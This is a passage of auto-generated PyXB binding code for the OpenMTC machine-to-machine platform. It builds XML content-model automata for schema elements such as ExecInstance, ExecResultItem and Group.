fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
st_7._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ExecInstance._Automaton = _BuildAutomaton_44()
ExecResultList._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'execResultItem'), ExecResultItem,
scope=ExecResultList, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
45, 12)))
def _BuildAutomaton_45():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_45
del _BuildAutomaton_45
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
45, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ExecResultList._UseForTag(
pyxb.namespace.ExpandedName(None, u'execResultItem')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
45, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ExecResultList._Automaton = _BuildAutomaton_45()
ExecResultItem._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'name'),
pyxb.binding.datatypes.string,
scope=ExecResultItem,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
52, 12)))
ExecResultItem._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'value'),
pyxb.binding.datatypes.anyType,
scope=ExecResultItem,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
53, 12)))
def _BuildAutomaton_46():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_46
del _BuildAutomaton_46
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(
ExecResultItem._UseForTag(pyxb.namespace.ExpandedName(None, u'name')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
52, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(
ExecResultItem._UseForTag(pyxb.namespace.ExpandedName(None, u'value')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
53, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ExecResultItem._Automaton = _BuildAutomaton_46()
ExecInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=ExecInstances,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
ExecInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=ExecInstances,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
ExecInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=ExecInstances,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
ExecInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'execInstanceCollection'),
NamedReferenceCollection, scope=ExecInstances,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
24, 4)))
def _BuildAutomaton_47():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_47
del _BuildAutomaton_47
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
14, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
15, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
18, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
19, 12))
counters.add(cc_3)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
14, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
15, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'execInstanceCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
18, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd',
19, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
st_3._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ExecInstances._Automaton = _BuildAutomaton_47()
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=Group, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=Group, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'membersContentAccessRightID'),
pyxb.binding.datatypes.anyURI, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 14,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'memberType'), MemberType,
scope=Group, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 38,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'currentNrOfMembers'),
pyxb.binding.datatypes.long, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 39,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'maxNrOfMembers'),
pyxb.binding.datatypes.long, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 40,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'members'), AnyURIList, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 41,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'memberTypeValidated'),
pyxb.binding.datatypes.boolean, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 42,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'consistencyStrategy'),
ConsistencyStrategy, scope=Group, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 43,
4)))
Group._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'membersContentReference'),
pyxb.binding.datatypes.anyURI, scope=Group,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 45,
4)))
def _BuildAutomaton_48():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_48
del _BuildAutomaton_48
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
18, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
19, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
20, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
21, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
22, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
23, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
24, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
25, 12))
counters.add(cc_7)
cc_8 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
26, 12))
counters.add(cc_8)
cc_9 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
27, 12))
counters.add(cc_9)
cc_10 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
28, 12))
counters.add(cc_10)
cc_11 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
29, 12))
counters.add(cc_11)
cc_12 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
30, 12))
counters.add(cc_12)
cc_13 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
32, 12))
counters.add(cc_13)
cc_14 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
33, 12))
counters.add(cc_14)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
18, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
19, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
20, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
21, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
22, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(
Group._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 23,
12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(
Group._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'memberType')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 24,
12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'currentNrOfMembers')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
25, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_8, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'maxNrOfMembers')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
26, 12))
st_8 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_8)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_9, False))
symbol = pyxb.binding.content.ElementUse(
Group._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'members')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 27,
12))
st_9 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_9)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_10, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'membersContentAccessRightID')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
28, 12))
st_10 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_10)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_11, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'memberTypeValidated')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
29, 12))
st_11 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_11)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_12, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'consistencyStrategy')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
30, 12))
st_12 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_12)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_13, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'membersContentReference')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
32, 12))
st_13 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_13)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_14, False))
symbol = pyxb.binding.content.ElementUse(Group._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd',
33, 12))
st_14 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_14)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_8, [
